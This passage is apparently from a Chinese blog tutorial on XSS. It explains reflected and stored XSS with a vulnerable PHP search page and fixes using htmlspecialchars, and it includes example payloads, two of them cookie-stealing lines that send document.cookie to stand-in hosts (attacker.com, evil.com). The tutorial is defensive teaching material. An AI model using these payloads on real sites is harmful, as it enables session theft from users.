1. 初识XSS:你的网站真的安全吗?
大家好,我是老张,在安全圈摸爬滚打了十几年,见过太多因为一个不起眼的小漏洞导致整个项目甚至公司数据泄露的案例。今天,咱们就来聊聊Web安全里最常见、也最容易被开发者忽视的“老朋友”——XSS漏洞。
XSS,全称跨站脚本攻击,听起来挺唬人,但说白了,就是攻击者想方设法在你的网页里插入一段恶意代码,然后让其他用户的浏览器去执行它。这就像有人偷偷在你家客厅的留言板上写了一句“请把家门钥匙放在门口花盆下”,而所有来你家的客人都会看到并照做。最可怕的是,很多情况下,被攻击的用户和网站管理员对此毫无察觉。
我刚开始做开发那会儿,也觉得XSS离自己很远,直到有一次,我们团队的一个内部管理系统被人用一段简单的 <script>alert('你的Cookie是:' + document.cookie)</script> 就给“攻破”了。攻击者通过评论框提交了这段代码,因为后端没有做任何过滤,直接存进了数据库。结果,每个打开评论管理页面的同事,都会弹出一个窗口,里面赫然显示着自己的登录凭证。那一刻,我才真正意识到,安全无小事。
那么,XSS攻击能干什么?远不止弹个窗吓唬人那么简单。攻击者可以利用它盗取用户的登录Cookie,冒充用户身份进行操作;可以监听用户的键盘输入,窃取账号密码;甚至可以在用户不知情的情况下,以其身份发布内容、转账、发送请求。对于开发者来说,理解XSS,不仅是修复漏洞,更是建立起一道保护用户和自己业务的第一道防线。无论你是前端、后端还是全栈,只要你的代码会处理用户输入并输出到网页上,这篇文章都值得你仔细看看。
2. 基础注入:从最简单的 <script> 标签开始
2.1 反射型XSS:一次性的“钓鱼攻击”
反射型XSS,也叫非持久型XSS,是XSS家族里最常见的一种。它的攻击过程就像一次精准的“钓鱼”:攻击者构造一个含有恶意脚本的链接,然后想方设法诱骗用户点击。用户点击后,这个恶意脚本会作为请求的一部分发送到服务器,服务器“反射”回包含这段脚本的页面,最终在用户的浏览器里执行。
听起来有点抽象?我们来看一个我早年踩过的坑。当时我们做了一个搜索页面,URL大概是这样的:https://example.com/search?keyword=手机。后端代码(以PHP为例)可能是这样写的:
// 搜索页面 search.php
$keyword = $_GET['keyword'];
echo "您搜索的关键词是: " . $keyword;
看起来没问题,对吧?但如果攻击者把链接改成:https://example.com/search?keyword=<script>alert('XSS')</script>,会发生什么?后端代码会原封不动地输出:
您搜索的关键词是: <script>alert('XSS')</script>
浏览器在渲染页面时,会认为 <script> 是一个合法的脚本标签,于是愉快地执行了里面的 alert('XSS')。一个弹窗就出来了。这还只是弹窗,如果脚本是 new Image().src='http://attacker.com/steal?cookie='+document.cookie,那么用户的Cookie就会被悄无声息地发送到攻击者的服务器。
实战要点:这种漏洞常出现在搜索框、错误信息提示、URL参数回显等地方。防御的关键在于,所有来自用户输入并即将输出到HTML页面的内容,都必须进行转义处理。对于上面这个例子,正确的做法应该是使用 htmlspecialchars 函数(PHP)或类似的方法进行HTML实体编码:
$keyword = $_GET['keyword'];
echo "您搜索的关键词是: " . htmlspecialchars($keyword, ENT_QUOTES, 'UTF-8');
这样,尖括号 < 和 > 会被转换成 < 和 >,浏览器就不会把它们解析成标签,而是当作普通文本显示出来。
2.2 存储型XSS:潜伏在数据库里的“定时炸弹”
如果说反射型XSS是“一次性”的,那么存储型XSS就是“持久性”的,危害也更大。攻击者将恶意脚本提交到网站(比如论坛发帖、商品评论、用户昵称),脚本被保存到服务器的数据库里。之后,任何普通用户浏览到包含这段恶意脚本的页面时,脚本都会在其浏览器中自动执行。
我印象最深的一个案例是一个用户中心的“个性签名”功能。后端代码允许用户输入HTML,初衷是让用户能加粗、变色,让签名更美观。但过滤规则写得不严谨,导致攻击者可以插入 <script> 标签。攻击者提交了这样一个签名:
<script>var img = new Image(); img.src = 'http://evil.com/collect?data=' + encodeURIComponent(document.cookie);</script>
这个签名被存入数据库。从此以后,任何一个查看该攻击者个人主页的用户,其Cookie都会被偷偷发送到 evil.com。由于这个过程完全在后台进行,用户毫无感知。
实战要点:存储型XSS的注入点通常是所有允许用户提交内容并持久化存储、然后展示给其他用户看的地方。比如:
- 论坛帖子、评论
- 用户昵称、个人简介
- 聊天消息
- 商品评价
- 文件上传的文件名(如果显示的话)
防御存储型XSS,必须在数据入库前和出库展示时都进行严格的过滤和转义。仅仅在前端用JavaScript过滤是绝对不安全的,因为攻击者可以直接抓包修改请求。一个黄金法则是:永远不要相信客户端传来的任何数据。后端必须对接收到的数据进行验证、清理,并在输出到HTML时进行正确的编码

1955

被折叠的 条评论
为什么被折叠?



